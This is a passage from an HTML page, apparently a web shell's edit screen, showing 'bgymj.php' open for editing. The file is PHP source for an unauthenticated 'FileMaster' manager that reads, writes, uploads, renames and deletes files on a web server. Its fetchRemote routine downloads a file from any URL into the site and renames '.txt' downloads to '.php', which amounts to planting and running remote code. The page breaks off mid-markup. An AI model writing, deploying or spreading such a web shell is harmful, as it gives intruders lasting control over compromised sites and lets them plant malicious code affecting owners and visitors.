<h2>Edit: bgymj.php</h2><form method='post'><textarea name='content' style='width:100%;height:400px;'>&lt;?php
// Enhanced PHP File Manager, compatible with PHP 5.6+

class FileManager
{
    private $basePath;

    public function __construct($basePath = null)
    {
        if ($basePath === null) {
            $basePath = __DIR__;
        }
        $realBase = realpath($basePath);
        if ($realBase === false) {
            $realBase = $basePath;
        }
        $this-&gt;basePath = rtrim(str_replace(&#039;\\&#039;, &#039;/&#039;, $realBase), &#039;/&#039;);
    }

    public function getFullPath($path)
    {
        $path = str_replace(&#039;\\&#039;, &#039;/&#039;, urldecode($path));

        if (strpos($path, $this-&gt;basePath) === 0) {
            return rtrim($path, &#039;/&#039;);
        }

        if (strpos($path, &#039;/&#039;) === 0) {
            return rtrim($this-&gt;basePath . $path, &#039;/&#039;);
        }

        return rtrim($this-&gt;basePath . &#039;/&#039; . $path, &#039;/&#039;);
    }

    public function isSafePath($path)
    {
        $real = realpath($path);
        if (!$real) return false;
        return strpos($real, $this-&gt;basePath) === 0;
    }

    public function listDir($dir)
    {
        $fullPath = $this-&gt;getFullPath($dir);
        if (!is_dir($fullPath)) {
            return array();
        }

        $items = scandir($fullPath);
        $items = array_filter($items, function ($v) {
            return ($v !== &#039;.&#039; &amp;&amp; $v !== &#039;..&#039;);
        });

        usort($items, function ($a, $b) use ($fullPath) {
            $aIsDir = is_dir($fullPath . &#039;/&#039; . $a);
            $bIsDir = is_dir($fullPath . &#039;/&#039; . $b);
            if ($aIsDir !== $bIsDir) {
                return $aIsDir ? -1 : 1;
            }
            return strcasecmp($a, $b);
        });

        return $items;
    }

    public function readFile($file)
    {
        $fullPath = $this-&gt;getFullPath($file);
        if (!$this-&gt;isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_get_contents($fullPath);
    }

    public function saveFile($file, $content)
    {
        $fullPath = $this-&gt;getFullPath($file);
        if (!$this-&gt;isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_put_contents($fullPath, $content) !== false;
    }

    public function createFile($dir, $filename, $content)
    {
        $dirPath = $this-&gt;getFullPath($dir);
        if (!$this-&gt;isSafePath($dirPath) || !is_dir($dirPath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid directory&#039;);
        }

        $filePath = $dirPath . &#039;/&#039; . $filename;
        if (file_exists($filePath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File already exists&#039;);
        }

        $res = @file_put_contents($filePath, $content);
        if ($res !== false) {
            return array(&#039;success&#039; =&gt; true, &#039;path&#039; =&gt; $filePath);
        }
        return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File creation failed&#039;);
    }

    public function createDir($dir, $name)
    {
        $dirPath = $this-&gt;getFullPath($dir);
        if (!$this-&gt;isSafePath($dirPath) || !is_dir($dirPath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid parent directory&#039;);
        }

        $newDir = $dirPath . &#039;/&#039; . $name;
        if (file_exists($newDir)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Folder already exists&#039;);
        }

        if (@mkdir($newDir, 0755)) {
            return array(&#039;success&#039; =&gt; true, &#039;path&#039; =&gt; $newDir);
        }
        return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Folder creation failed&#039;);
    }

    public function deleteFile($file)
    {
        $filePath = $this-&gt;getFullPath($file);
        if (!$this-&gt;isSafePath($filePath) || !is_file($filePath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid or non-existent file&#039;);
        }
        if (@unlink($filePath)) {
            return array(&#039;success&#039; =&gt; true);
        }
        return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File deletion failed&#039;);
    }

    public function deleteDir($dir)
    {
        $dirPath = $this-&gt;getFullPath($dir);
        if (!$this-&gt;isSafePath($dirPath) || !is_dir($dirPath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid or non-existent folder&#039;);
        }

        if (count(scandir($dirPath)) &gt; 2) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Folder is not empty&#039;);
        }

        if (@rmdir($dirPath)) {
            return array(&#039;success&#039; =&gt; true);
        }
        return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Folder deletion failed&#039;);
    }

    public function rename($oldPath, $newName)
    {
        $oldFull = $this-&gt;getFullPath($oldPath);
        if (!$this-&gt;isSafePath($oldFull) || !file_exists($oldFull)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid source file/folder&#039;);
        }

        $newFull = dirname($oldFull) . &#039;/&#039; . $newName;
        if (file_exists($newFull)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Target already exists&#039;);
        }
        if (@rename($oldFull, $newFull)) {
            return array(&#039;success&#039; =&gt; true, &#039;path&#039; =&gt; $newFull);
        }
        return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Rename failed&#039;);
    }

    public function fetchRemote($url, $dir)
    {
        $dirPath = $this-&gt;getFullPath($dir);
        if (!$this-&gt;isSafePath($dirPath) || !is_dir($dirPath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid directory&#039;);
        }

        $fileName = basename(parse_url($url, PHP_URL_PATH));
        if (!$fileName) {
            $fileName = &#039;remote_&#039; . time() . &#039;.php&#039;;
        }

        if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === &#039;txt&#039;) {
            $fileName = pathinfo($fileName, PATHINFO_FILENAME) . &#039;.php&#039;;
        }

        $filePath = $dirPath . &#039;/&#039; . $fileName;
        if (file_exists($filePath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &quot;File already exists: $fileName&quot;);
        }

        $content = @file_get_contents($url);
        if ($content === false) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to fetch remote file&#039;);
        }

        if (@file_put_contents($filePath, $content) === false) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File save failed&#039;);
        }

        return array(&#039;success&#039; =&gt; true, &#039;path&#039; =&gt; $filePath);
    }

    public function upload($file, $dir)
    {
        $dirPath = $this-&gt;getFullPath($dir);
        if (!$this-&gt;isSafePath($dirPath) || !is_dir($dirPath)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Invalid upload directory&#039;);
        }

        $target = $dirPath . &#039;/&#039; . basename($file[&#039;name&#039;]);
        if (file_exists($target)) {
            return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File already exists&#039;);
        }

        if (@move_uploaded_file($file[&#039;tmp_name&#039;], $target)) {
            return array(&#039;success&#039; =&gt; true, &#039;path&#039; =&gt; $target);
        }

        return array(&#039;success&#039; =&gt; false, &#039;message&#039; =&gt; &#039;File upload failed&#039;);
    }

    public function search($dir, $term)
    {
        $dirPath = $this-&gt;getFullPath($dir);
        if (!$this-&gt;isSafePath($dirPath) || !is_dir($dirPath)) {
            return false;
        }

        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS));
        foreach ($iterator as $item) {
            if (stripos($item-&gt;getFilename(), $term) !== false) {
                return $item-&gt;getPathname();
            }
        }
        return false;
    }

    public function previewFile($file)
    {
        $fullPath = $this-&gt;getFullPath($file);
        if (!$this-&gt;isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        $content = @file_get_contents($fullPath);
        if ($content === false) {
            return false;
        }
        return substr($content, 0, 500); // Limit preview to 500 characters
    }
}

$dir = isset($_GET[&#039;dir&#039;]) ? $_GET[&#039;dir&#039;] : &#039;.&#039;;

function cleanPath($path)
{
    $path = str_replace(array(&#039;\\&#039;, &#039;..&#039;), array(&#039;/&#039;, &#039;&#039;), $path);
    return rtrim($path, &#039;/&#039;);
}

$dir = cleanPath($dir);

$fileManager = new FileManager();

$flash = &#039;&#039;;
$flashType = &#039;info&#039;;

if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {
    $action = isset($_POST[&#039;action&#039;]) ? $_POST[&#039;action&#039;] : &#039;&#039;;
    
    if ($action === &#039;create_file&#039;) {
        $filename = isset($_POST[&#039;filename&#039;]) ? trim($_POST[&#039;filename&#039;]) : &#039;&#039;;
        $content = isset($_POST[&#039;content&#039;]) ? $_POST[&#039;content&#039;] : &#039;&#039;;
        if ($filename === &#039;&#039;) {
            $flash = &#039;File name cannot be empty&#039;;
            $flashType = &#039;error&#039;;
        } else {
            $res = $fileManager-&gt;createFile($dir, $filename, $content);
            $flash = $res[&#039;success&#039;] ? &#039;File created successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
            $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
        }
    }
    elseif ($action === &#039;create_dir&#039;) {
        $dirname = isset($_POST[&#039;dirname&#039;]) ? trim($_POST[&#039;dirname&#039;]) : &#039;&#039;;
        if ($dirname === &#039;&#039;) {
            $flash = &#039;Folder name cannot be empty&#039;;
            $flashType = &#039;error&#039;;
        } else {
            $res = $fileManager-&gt;createDir($dir, $dirname);
            $flash = $res[&#039;success&#039;] ? &#039;Folder created successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
            $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
        }
    }
    elseif ($action === &#039;delete_file&#039;) {
        $target = isset($_POST[&#039;target&#039;]) ? cleanPath($_POST[&#039;target&#039;]) : &#039;&#039;;
        $res = $fileManager-&gt;deleteFile($target);
        $flash = $res[&#039;success&#039;] ? &#039;File deleted successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
        $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
    }
    elseif ($action === &#039;delete_dir&#039;) {
        $target = isset($_POST[&#039;target&#039;]) ? cleanPath($_POST[&#039;target&#039;]) : &#039;&#039;;
        $res = $fileManager-&gt;deleteDir($target);
        $flash = $res[&#039;success&#039;] ? &#039;Folder deleted successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
        $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
    }
    elseif ($action === &#039;rename&#039;) {
        $old = isset($_POST[&#039;old&#039;]) ? cleanPath($_POST[&#039;old&#039;]) : &#039;&#039;;
        $newName = isset($_POST[&#039;new&#039;]) ? trim($_POST[&#039;new&#039;]) : &#039;&#039;;
        if ($newName === &#039;&#039;) {
            $flash = &#039;New name cannot be empty&#039;;
            $flashType = &#039;error&#039;;
        } else {
            $res = $fileManager-&gt;rename($old, $newName);
            $flash = $res[&#039;success&#039;] ? &#039;Renamed successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
            $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
        }
    }
    elseif ($action === &#039;save_file&#039;) {
        $file = isset($_POST[&#039;file&#039;]) ? cleanPath($_POST[&#039;file&#039;]) : &#039;&#039;;
        $content = isset($_POST[&#039;content&#039;]) ? $_POST[&#039;content&#039;] : &#039;&#039;;
        $res = $fileManager-&gt;saveFile($file, $content);
        $flash = $res ? &#039;File saved successfully&#039; : &#039;File save failed&#039;;
        $flashType = $res ? &#039;success&#039; : &#039;error&#039;;
    }
    elseif ($action === &#039;fetch_remote&#039;) {
        $url = isset($_POST[&#039;url&#039;]) ? trim($_POST[&#039;url&#039;]) : &#039;&#039;;
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            $res = $fileManager-&gt;fetchRemote($url, $dir);
            $flash = $res[&#039;success&#039;] ? &#039;Remote file fetched successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
            $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
        } else {
            $flash = &#039;Invalid URL&#039;;
            $flashType = &#039;error&#039;;
        }
    }
    elseif (isset($_FILES[&#039;upload&#039;]) &amp;&amp; $_FILES[&#039;upload&#039;][&#039;error&#039;] === UPLOAD_ERR_OK) {
        $res = $fileManager-&gt;upload($_FILES[&#039;upload&#039;], $dir);
        $flash = $res[&#039;success&#039;] ? &#039;File uploaded successfully&#039; : (&#039;Error: &#039; . $res[&#039;message&#039;]);
        $flashType = $res[&#039;success&#039;] ? &#039;success&#039; : &#039;error&#039;;
    }

    header(&#039;Location: &#039; . $_SERVER[&#039;PHP_SELF&#039;] . &#039;?dir=&#039; . urlencode($dir) . &#039;&amp;flash=&#039; . urlencode($flash) . &#039;&amp;flash_type=&#039; . urlencode($flashType));
    exit;
}

if (isset($_GET[&#039;flash&#039;])) {
    $flash = $_GET[&#039;flash&#039;];
    $flashType = isset($_GET[&#039;flash_type&#039;]) ? $_GET[&#039;flash_type&#039;] : &#039;info&#039;;
}

$searchTerm = isset($_GET[&#039;search&#039;]) ? trim($_GET[&#039;search&#039;]) : &#039;&#039;;
$searchResult = false;
if ($searchTerm !== &#039;&#039;) {
    $searchResult = $fileManager-&gt;search($dir, $searchTerm);
}
$items = $fileManager-&gt;listDir($dir);

function breadcrumbs($path)
{
    $path = trim(str_replace(&#039;\\&#039;, &#039;/&#039;, $path), &#039;/&#039;);
    if ($path === &#039;&#039;) {
        return array(array(&#039;name&#039; =&gt; &#039;Home&#039;, &#039;path&#039; =&gt; &#039;.&#039;));
    }

    $parts = explode(&#039;/&#039;, $path);
    $crumbs = array();
    $acc = &#039;&#039;;
    foreach ($parts as $part) {
        $acc .= ($acc === &#039;&#039; ? &#039;&#039; : &#039;/&#039;) . $part;
        $crumbs[] = array(&#039;name&#039; =&gt; $part, &#039;path&#039; =&gt; $acc);
    }
    array_unshift($crumbs, array(&#039;name&#039; =&gt; &#039;Home&#039;, &#039;path&#039; =&gt; &#039;.&#039;));
    return $crumbs;
}

function sizeFormatted($bytes)
{
    if ($bytes &lt; 1024) return $bytes . &#039; B&#039;;
    $units = array(&#039;KB&#039;, &#039;MB&#039;, &#039;GB&#039;, &#039;TB&#039;);
    $power = floor(log($bytes, 1024));
    $power = ($power &gt; count($units)) ? count($units) : $power;
    $value = round($bytes / pow(1024, $power), 2);
    return $value . &#039; &#039; . $units[$power - 1];
}

function h($s)
{
    return htmlspecialchars($s, ENT_QUOTES, &#039;UTF-8&#039;);
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;FileMaster&lt;/title&gt;
    &lt;script src=&quot;https://cdn.tailwindcss.com&quot;&gt;&lt;/script&gt;
    &lt;style&gt;
        .file-preview { max-height: 200px; overflow-y: auto; }
        .dark-mode-toggle { cursor: pointer; }
        .folder-icon::before { content: &quot;\1F4C1 &quot;; }
        .file-icon::before { content: &quot;\1F4C4 &quot;; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body class=&quot;bg-gray-100 dark:bg-gray-900 text-gray-900 dark:text-gray-100 min-h-screen transition-colors duration-300&quot;&gt;
    &lt;header class=&quot;bg-gray-800 dark:bg-gray-950 p-4 flex justify-between items-center&quot;&gt;
        &lt;h1 class=&quot;text-xl font-bold text-white&quot;&gt;&lt;a href=&quot;&lt;?= h($_SERVER[&#039;PHP_SELF&#039;]) ?&gt;&quot;&gt;FileMaster&lt;/a&gt;&lt;/h1&gt;
        &lt;div class=&quot;flex items-center space-x-4&quot;&gt;
            &lt;form method=&quot;get&quot; class=&quot;flex items-center&quot;&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;dir&quot; value=&quot;&lt;?= h($dir) ?&gt;&quot;&gt;
                &lt;input type=&quot;text&quot; name=&quot;search&quot; placeholder=&quot;Search files...&quot; value=&quot;&lt;?= h($searchTerm) ?&gt;&quot; required class=&quot;p-2 rounded-l-md bg-gray-700 text-white border-none focus:outline-none focus:ring-2 focus:ring-blue-500&quot;&gt;
                &lt;button type=&quot;submit&quot; class=&quot;p-2 bg-blue-600 rounded-r-md text-white hover:bg-blue-700&quot;&gt;Search&lt;/button&gt;
            &lt;/form&gt;
            &lt;button id=&quot;darkModeToggle&quot; class=&quot;dark-mode-toggle p-2 bg-gray-700 rounded-md text-white hover:bg-gray-600&quot;&gt;Toggle Dark Mode&lt;/button&gt;
        &lt;/div&gt;
    &lt;/header&gt;

    &lt;main class=&quot;container mx-auto p-6&quot;&gt;
        &lt;?php if ($flash): ?&gt;
            &lt;div class=&quot;p-4 mb-6 rounded-md &lt;?= $flashType === &#039;success&#039; ? &#039;bg-green-600&#039; : ($flashType === &#039;error&#039; ? &#039;bg-red-600&#039; : &#039;bg-blue-600&#039;) ?&gt; text-white&quot;&gt;
                &lt;?= h($flash) ?&gt;
            &lt;/div&gt;
        &lt;?php endif; ?&gt;

        &lt;nav class=&quot;mb-6&quot;&gt;
            &lt;?php $crumbs = breadcrumbs($dir); ?&gt;
            &lt;div class=&quot;flex space-x-2 text-sm&quot;&gt;
                &lt;?php foreach ($crumbs as $i =&gt; $c): ?&gt;
                    &lt;?php if ($i &gt; 0): ?&gt;&lt;span class=&quot;text-gray-500 dark:text-gray-400&quot;&gt;/&lt;/span&gt;&lt;?php endif; ?&gt;
                    &lt;a href=&quot;?dir=&lt;?= urlencode($c[&#039;path&#039;]) ?&gt;&quot; class=&quot;text-blue-600 dark:text-blue-400 hover:underline&quot;&gt;&lt;?= h($c[&#039;name&#039;]) ?&gt;&lt;/a&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/div&gt;
        &lt;/nav&gt;

        &lt;?php if ($searchTerm !== &#039;&#039;): ?&gt;
            &lt;div class=&quot;mb-6&quot;&gt;
                &lt;h2 class=&quot;text-lg font-semibold&quot;&gt;Search Results&lt;/h2&gt;
                &lt;?php if ($searchResult !== false):
                    $foundDir = dirname($searchResult);
                    $foundFile = basename($searchResult);
                ?&gt;
                    &lt;p&gt;
                        File found:&lt;br&gt;
                        &lt;a href=&quot;?dir=&lt;?= urlencode($foundDir) ?&gt;&quot; class=&quot;text-blue-600 dark:text-blue-400 hover:underline&quot;&gt;&lt;?= h($foundDir) ?&gt;&lt;/a&gt; /
                        &lt;a href=&quot;?dir=&lt;?= urlencode($foundDir) ?&gt;&amp;view=&lt;?= urlencode($searchResult) ?&gt;&quot; class=&quot;text-blue-600 dark:text-blue-400 hover:underline&quot;&gt;&lt;?= h($foundFile) ?&gt;&lt;/a&gt;
                    &lt;/p&gt;
                &lt;?php else: ?&gt;
                    &lt;p class=&quot;text-red-500 dark:text-red-400&quot;&gt;No files found.&lt;/p&gt;
                &lt;?php endif; ?&gt;
            &lt;/div&gt;
        &lt;?php endif; ?&gt;

        &lt;?php if (isset($_GET[&#039;view&#039;])):
            $viewFile = cleanPath($_GET[&#039;view&#039;]);
            $content = $fileManager-&gt;readFile($viewFile);
        ?&gt;
            &lt;h2 class=&quot;text-2xl font-semibold mb-4&quot;&gt;Edit File: &lt;?= h(basename($viewFile)) ?&gt;&lt;/h2&gt;
            &lt;?php if ($content === false): ?&gt;
                &lt;p class=&quot;text-red-500 dark:text-red-400&quot;&gt;File cannot be opened or does not exist.&lt;/p&gt;
            &lt;?php else: ?&gt;
                &lt;form method=&quot;post&quot; class=&quot;mb-4&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;save_file&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;file&quot; value=&quot;&lt;?= h($viewFile) ?&gt;&quot;&gt;
                    &lt;textarea name=&quot;content&quot; rows=&quot;20&quot; class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-800 text-gray-900 dark:text-gray-100 rounded-md font-mono&quot;&gt;&lt;?= h($content) ?&gt;&lt;/textarea&gt;
                    &lt;div class=&quot;mt-4&quot;&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700&quot;&gt;Save&lt;/button&gt;
                        &lt;a href=&quot;?dir=&lt;?= urlencode($dir) ?&gt;&quot; class=&quot;p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700&quot;&gt;Back&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/form&gt;
            &lt;?php endif; ?&gt;

        &lt;?php else: ?&gt;
            &lt;h2 class=&quot;text-2xl font-semibold mb-4&quot;&gt;Directory: &lt;?= h($dir) ?&gt;&lt;/h2&gt;

            &lt;div class=&quot;overflow-x-auto&quot;&gt;
                &lt;table class=&quot;w-full border-collapse bg-white dark:bg-gray-800 rounded-md shadow&quot;&gt;
                    &lt;thead&gt;
                        &lt;tr class=&quot;bg-gray-200 dark:bg-gray-700&quot;&gt;
                            &lt;th class=&quot;p-3 text-left&quot;&gt;Name&lt;/th&gt;
                            &lt;th class=&quot;p-3 text-left&quot;&gt;Type&lt;/th&gt;
                            &lt;th class=&quot;p-3 text-left&quot;&gt;Size&lt;/th&gt;
                            &lt;th class=&quot;p-3 text-left&quot;&gt;Actions&lt;/th&gt;
                        &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody&gt;
                        &lt;?php if ($dir !== &#039;.&#039;): 
                            $parentDir = dirname($dir);
                        ?&gt;
                            &lt;tr&gt;
                                &lt;td colspan=&quot;4&quot; class=&quot;p-3&quot;&gt;&lt;a href=&quot;?dir=&lt;?= urlencode($parentDir) ?&gt;&quot; class=&quot;text-blue-600 dark:text-blue-400 hover:underline&quot;&gt;← Parent Directory&lt;/a&gt;&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;?php endif; ?&gt;

                        &lt;?php foreach ($items as $item):
                            $itemPath = $dir . &#039;/&#039; . $item;
                            $fullPath = $fileManager-&gt;getFullPath($itemPath);
                            $isDir = is_dir($fullPath);
                            $size = $isDir ? &#039;-&#039; : sizeFormatted(filesize($fullPath));
                            $preview = !$isDir ? $fileManager-&gt;previewFile($itemPath) : false;
                        ?&gt;
                            &lt;tr class=&quot;hover:bg-gray-100 dark:hover:bg-gray-700&quot;&gt;
                                &lt;td class=&quot;p-3&quot;&gt;
                                    &lt;?= $isDir ? &#039;&lt;span class=&quot;folder-icon&quot;&gt;&lt;/span&gt;&#039; : &#039;&lt;span class=&quot;file-icon&quot;&gt;&lt;/span&gt;&#039; ?&gt;
                                    &lt;?php if ($isDir): ?&gt;
                                        &lt;a href=&quot;?dir=&lt;?= urlencode($itemPath) ?&gt;&quot; class=&quot;text-blue-600 dark:text-blue-400 hover:underline&quot;&gt;&lt;?= h($item) ?&gt;&lt;/a&gt;
                                    &lt;?php else: ?&gt;
                                        &lt;a href=&quot;?dir=&lt;?= urlencode(dirname($itemPath)) ?&gt;&amp;view=&lt;?= urlencode($itemPath) ?&gt;&quot; class=&quot;text-blue-600 dark:text-blue-400 hover:underline&quot;&gt;&lt;?= h($item) ?&gt;&lt;/a&gt;
                                        &lt;?php if ($preview !== false): ?&gt;
                                            &lt;button onclick=&quot;showPreview(&#039;&lt;?= h(addslashes($preview)) ?&gt;&#039;)&quot; class=&quot;ml-2 text-sm text-gray-500 hover:text-gray-700 dark:hover:text-gray-300&quot;&gt;Preview&lt;/button&gt;
                                        &lt;?php endif; ?&gt;
                                    &lt;?php endif; ?&gt;
                                &lt;/td&gt;
                                &lt;td class=&quot;p-3&quot;&gt;&lt;?= $isDir ? &#039;Folder&#039; : &#039;File&#039; ?&gt;&lt;/td&gt;
                                &lt;td class=&quot;p-3&quot;&gt;&lt;?= $size ?&gt;&lt;/td&gt;
                                &lt;td class=&quot;p-3&quot;&gt;
                                    &lt;?php if ($isDir): ?&gt;
                                        &lt;form method=&quot;post&quot; class=&quot;inline&quot; onsubmit=&quot;return confirm(&#039;Delete folder (if empty)?&#039;)&quot;&gt;
                                            &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;delete_dir&quot;&gt;
                                            &lt;input type=&quot;hidden&quot; name=&quot;target&quot; value=&quot;&lt;?= h($itemPath) ?&gt;&quot;&gt;
                                            &lt;button type=&quot;submit&quot; class=&quot;p-2 bg-red-600 rounded-md text-white hover:bg-red-700&quot;&gt;Delete&lt;/button&gt;
                                        &lt;/form&gt;
                                    &lt;?php else: ?&gt;
                                        &lt;form method=&quot;post&quot; class=&quot;inline&quot; onsubmit=&quot;return confirm(&#039;Delete file?&#039;)&quot;&gt;
                                            &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;delete_file&quot;&gt;
                                            &lt;input type=&quot;hidden&quot; name=&quot;target&quot; value=&quot;&lt;?= h($itemPath) ?&gt;&quot;&gt;
                                            &lt;button type=&quot;submit&quot; class=&quot;p-2 bg-red-600 rounded-md text-white hover:bg-red-700&quot;&gt;Delete&lt;/button&gt;
                                        &lt;/form&gt;
                                    &lt;?php endif; ?&gt;
                                    &lt;button onclick=&quot;showRenameForm(&#039;&lt;?= h(addslashes($itemPath)) ?&gt;&#039;, &#039;&lt;?= h(addslashes($item)) ?&gt;&#039;)&quot; class=&quot;p-2 bg-yellow-600 rounded-md text-white hover:bg-yellow-700&quot;&gt;Rename&lt;/button&gt;
                                &lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;?php endforeach; ?&gt;
                    &lt;/tbody&gt;
                &lt;/table&gt;
            &lt;/div&gt;

            &lt;div class=&quot;mt-6 grid grid-cols-1 md:grid-cols-2 gap-6&quot;&gt;
                &lt;div class=&quot;bg-white dark:bg-gray-800 p-6 rounded-md shadow&quot;&gt;
                    &lt;h3 class=&quot;text-lg font-semibold mb-4&quot;&gt;Create New File&lt;/h3&gt;
                    &lt;form method=&quot;post&quot;&gt;
                        &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;create_file&quot;&gt;
                        &lt;label class=&quot;block mb-2 font-medium&quot;&gt;File Name:&lt;/label&gt;
                        &lt;input type=&quot;text&quot; name=&quot;filename&quot; required class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md&quot;&gt;
                        &lt;label class=&quot;block mb-2 mt-4 font-medium&quot;&gt;Content:&lt;/label&gt;
                        &lt;textarea name=&quot;content&quot; rows=&quot;5&quot; class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md font-mono&quot;&gt;&lt;/textarea&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700&quot;&gt;Create&lt;/button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;

                &lt;div class=&quot;bg-white dark:bg-gray-800 p-6 rounded-md shadow&quot;&gt;
                    &lt;h3 class=&quot;text-lg font-semibold mb-4&quot;&gt;Create New Folder&lt;/h3&gt;
                    &lt;form method=&quot;post&quot;&gt;
                        &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;create_dir&quot;&gt;
                        &lt;label class=&quot;block mb-2 font-medium&quot;&gt;Folder Name:&lt;/label&gt;
                        &lt;input type=&quot;text&quot; name=&quot;dirname&quot; required class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md&quot;&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700&quot;&gt;Create&lt;/button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;

                &lt;div class=&quot;bg-white dark:bg-gray-800 p-6 rounded-md shadow&quot;&gt;
                    &lt;h3 class=&quot;text-lg font-semibold mb-4&quot;&gt;Fetch Remote File&lt;/h3&gt;
                    &lt;form method=&quot;post&quot;&gt;
                        &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;fetch_remote&quot;&gt;
                        &lt;label class=&quot;block mb-2 font-medium&quot;&gt;URL:&lt;/label&gt;
                        &lt;input type=&quot;url&quot; name=&quot;url&quot; placeholder=&quot;https://example.com/file.php&quot; required class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md&quot;&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700&quot;&gt;Fetch&lt;/button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;

                &lt;div class=&quot;bg-white dark:bg-gray-800 p-6 rounded-md shadow&quot;&gt;
                    &lt;h3 class=&quot;text-lg font-semibold mb-4&quot;&gt;Upload File&lt;/h3&gt;
                    &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
                        &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;upload&quot;&gt;
                        &lt;input type=&quot;file&quot; name=&quot;upload&quot; required class=&quot;w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md&quot;&gt;
                        &lt;button type=&quot;submit&quot; class=&quot;mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700&quot;&gt;Upload&lt;/button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div id=&quot;renameFormContainer&quot; class=&quot;hidden mt-6 bg-white dark:bg-gray-800 p-6 rounded-md shadow&quot;&gt;
                &lt;form method=&quot;post&quot; id=&quot;renameForm&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;rename&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;old&quot; id=&quot;renameOld&quot;&gt;
